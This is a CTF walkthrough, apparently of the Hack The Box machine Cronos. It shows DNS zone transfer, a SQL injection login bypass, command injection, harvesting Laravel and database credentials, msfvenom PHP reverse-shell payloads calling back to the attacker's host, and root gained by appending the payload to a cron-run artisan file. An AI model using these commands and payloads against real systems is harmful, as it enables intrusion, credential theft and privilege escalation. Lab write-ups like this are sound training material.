Information Gathering

NMAP

# nmap -sV -sC -Pn -p-  --min-rate 1000 -oA scans\alltcp 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (1.0s latency).
Not shown: 65532 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing on port 80…

Port 53: Getting the Domain Name

Seeing a DNS server, I looked up how to use dig. Sure enough, there was a surprise: I found the domain bound to 10.10.10.13, and after adding it to hosts I could visit it

# dig @10.10.10.13 -x 10.10.10.13

; <<>> DiG 9.11.5-P4-5.1-Debian <<>> @10.10.10.13 -x 10.10.10.13
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60138
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;13.10.10.10.in-addr.arpa.	IN	PTR

;; ANSWER SECTION:
13.10.10.10.in-addr.arpa. 604800 IN	PTR	ns1.cronos.htb.

;; AUTHORITY SECTION:
10.10.10.in-addr.arpa.	604800	IN	NS	ns1.cronos.htb.

;; ADDITIONAL SECTION:
ns1.cronos.htb.		604800	IN	A	10.10.10.13

;; Query time: 1149 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN:  4 18 23:46:32 UTC 2020
;; MSG SIZE  rcvd: 111

A quick explanation of the dig command arguments above

  • @10.10.10.13 : query against the specified DNS server 10.10.10.13
  • -x 10.10.10.13 : reverse lookup for the domain name corresponding to the IP address 10.10.10.13
  • You can also append +short to get a condensed result

Based on experience, a second-level domain with ns1 is unlikely to be the target machine’s service, so I just bound cronos.htb to the target machine’s IP and visited it — screenshot omitted.

echo "10.10.10.13 cronos.htb" >> /etc/hosts

Port 80: Laravel -> DNS Zone Transfer -> Admin

From the returned cookie being laravel_session and the page content, we can tell this is a PHP site built with the Laravel framework

Searching for usable vulnerabilities, I found unix/http/laravel_token_unserialize_exec

msf5 exploit(unix/http/laravel_token_unserialize_exec) > show info
Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  APP_KEY                     no        The base64 encoded APP_KEY string from the .env file
Description:
  This module exploits a vulnerability in the PHP Laravel Framework 
  for versions 5.5.40, 5.6.x <= 5.6.29. Remote Command Execution is 
  possible via a correctly formatted HTTP X-XSRF-TOKEN header, 
  ... Authentication is not required, 
  however exploitation requires knowledge of the Laravel APP_KEY. 
  ...
  In some cases the APP_KEY is leaked which allows for discovery and exploitation.

Sure enough, without the APP_KEY the exploit failed, so the key sentence must be this one

however exploitation requires knowledge of the Laravel APP_KEY.

My guess was that the intended path was to read Laravel’s configuration file .env, get the APP_KEY, and then achieve RCE to get a shell

Fine, I tried brute-forcing directories and file disclosures, browsed for an hour with nothing to show…

Then I looked at other people’s walkthroughs: DNS zone transfer vulnerability. (Actually, the thought crossed my mind as soon as I saw port 53, but I couldn’t remember the command (too lazy to search for it), so I never verified it

DNS Zone Transfer Vulnerability

Use the nslookup command on Windows

Use the dig command on Kali

On Kali or BT5, use these three tools: nmap, dnswalk, dnsenum

dig

dig @10.10.10.13 -t AXFR cronos.htb 

; <<>> DiG 9.11.5-P4-5.1-Debian <<>> @10.10.10.13 -t AXFR cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.	604800	IN	A	10.10.10.13
www.cronos.htb.	604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 1366 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN:  4 19 00:47:59 UTC 2020
;; XFR size: 7 records (messages 1, bytes 203)

Nmap

Later I used an Nmap script to scan for this vulnerability; at first it found nothing, which I suspected was due to the old 7.70 version, but upgrading to 7.80 still found nothing… anyway, the arguments should be configured like this:

# nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=cronos.htb -p 53 -Pn 10.10.10.13

nslookup

The nslookup plus ls cronos.htb approach circulating online doesn’t work on Kali. Reproduce it the following way instead

# nslookup
> set q=AXFR
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53

> cronos.htb

Server:		10.10.10.13
Address:	10.10.10.13#53
cronos.htb
	origin = cronos.htb
	mail addr = admin.cronos.htb
	serial = 3
	refresh = 604800
	retry = 86400
	expire = 2419200
	minimum = 604800
cronos.htb	nameserver = ns1.cronos.htb.
Name:	cronos.htb
Address: 10.10.10.13
Name:	admin.cronos.htb
Address: 10.10.10.13
Name:	ns1.cronos.htb
Address: 10.10.10.13
Name:	www.cronos.htb
Address: 10.10.10.13
cronos.htb
	origin = cronos.htb
	mail addr = admin.cronos.htb
	serial = 3
	refresh = 604800
	retry = 86400
	expire = 2419200
	minimum = 604800

axfr is one of the q-type values: axfr is short for Authoritative Transfer, meaning a request to transfer all records of a zone

In short, I got an admin.cronos.htb; after binding it to hosts, it was a bare-bones admin panel. Instinctively I wanted to test for injection, and the password admin'-- - got me right in — really something. The post-login page is shown below; it’s a very comfortable OS command injection.

I tried writing a one-liner webshell, but it ended up mangled into <?php (['cmd']); ?> — there may be some filtering. Continuing to look around, I found a .welcome.php.swp in the current directory, and cat seemed to be disabled? But I could cp it to a non-executed txt file, which reads files just the same. I packed up the source code under admin and read Laravel’s .env file; by reading the Laravel framework’s CHANGLOG.md, I confirmed the version was v5.4.16, as follows

# Release Notes
## v5.4.16 (2017-03-17)

Meanwhile the msf exploit’s version requirement is 5.5.40 or 5.6.x < 5.6.30

PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Com | exploits/linux/remote/47129.rb

Clearly it didn’t meet the version requirement for RCE; I tried anyway and it indeed failed — a rabbit’s hole

Then I read some more passwords

APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:+fUFGL45d1YZYlSTc0Sm71wPzJejQN/K6s9bHHihdYE=
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret
...
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

Reverse Shell

Use msfvenom to generate a reverse shell file,

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf5 exploit(multi/handler) > set lport 4443
lport => 4443
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.122:4443 
[*] Command shell session 1 opened (10.10.16.122:4443 -> 10.10.10.13:57000)

Or, like me, after realizing the shell wasn’t a meterpreter shell, just upload a Behinder webshell

Some passwords collected

# config.php
<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

# Password hash of admin from the database
	4f5fffa7b2340178a716e3832451e058
Decrypted result as follows
	1327663704

Privilege Escalation

Interactive shell

python -c 'import pty;pty.spawn("/bin/bash");' 
stty raw -echo

Basic info

# uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP 
Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

# cat /etc/issue
 Ubuntu 16.04.2 LTS

SUID files

# find / -perm -u=s 2> /dev/null

/bin/ping
/bin/umount
/bin/mount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/passwd

pkexec looked suspicious; I fired the msf exploit at it, without success.

Scheduled Tasks

Getting ready to go all-in, I used the enumeration script linPEAS.sh and found a suspicious cron job (actually, cron jobs can be viewed with cat /etc/crontab)

[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-jobs
-rw-r--r-- 1 root root  797 Apr  9  2017 /etc/crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
(www-data:/var/www/admin) $ cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user    command

17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *    root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

In short, I noticed the root user has a cron job running every minute: php /var/www/laravel/artisan, so I went over and appended reverse shell PHP code to the end of the artisan file (appended at the end rather than the beginning because the reverse shell script seemingly blocks the thread, which could keep Laravel from starting and break the target machine’s normal operation.)

# Generate reverse shell PHP code
msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=10.10.16.122 LPORT=4444 > 4444.php

# Catch the shell with msf
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > show options 

msf5 exploit(multi/handler) > set lhost tun0
lhost => 10.10.16.122

msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.122:4444 
[*] Sending stage (38288 bytes) to 10.10.10.13
[*] Meterpreter session 1 opened (10.10.16.122:4444 -> 10.10.10.13:58804) 

meterpreter > getuid
Server username: root (0)

Other privilege escalation ideas

====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/bin/ping
/bin/umount		--->	BSD/Linux(08-1996)
/bin/mount		--->	Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/bin/fusermount
/bin/su
/bin/ntfs-3g		--failed->	Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
/bin/ping6
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1	//failed
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper			failed
/usr/bin/chsh
/usr/bin/newuidmap    failed
/usr/bin/sudo		--->	/sudo$
/usr/bin/chfn		--->	SuSE_9.3/10
/usr/bin/newgrp		--->	HP-UX_10.20
/usr/bin/at		--->	RTru64_UNIX_4.0g(CVE-2002-1614)
/usr/bin/pkexec		--->	Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
/usr/bin/newgidmap		 failed
/usr/bin/gpasswd				 failed
/usr/bin/passwd		--->	Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)

Or use msf’s built-in enumeration module linux/gather/enum_system

msf5 post(linux/gather/enum_system) > run

[+] Info:
[+] 	Ubuntu 16.04.2 LTS  
[+] 	Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[+] 	Module running as "www-data" user
[*] Linux version stored in /ro...........................
[*] User accounts stored in /ro...........................
[*] Installed Packages stored i...........................
[*] Running Services stored in ...........................
[*] Cron jobs stored in /root/............................
[*] Disk info stored in /root/............................
[*] Logfiles stored in /root/.m...........................
[*] Setuid/setgid files stored ...........................
[*] CPU Vulnerabilities stored ...........................
[*] Post module execution completed

Reflections and Summary

  • Note that the Laravel framework’s debug mode was on: APP_DEBUG=true — could that be leveraged?

reference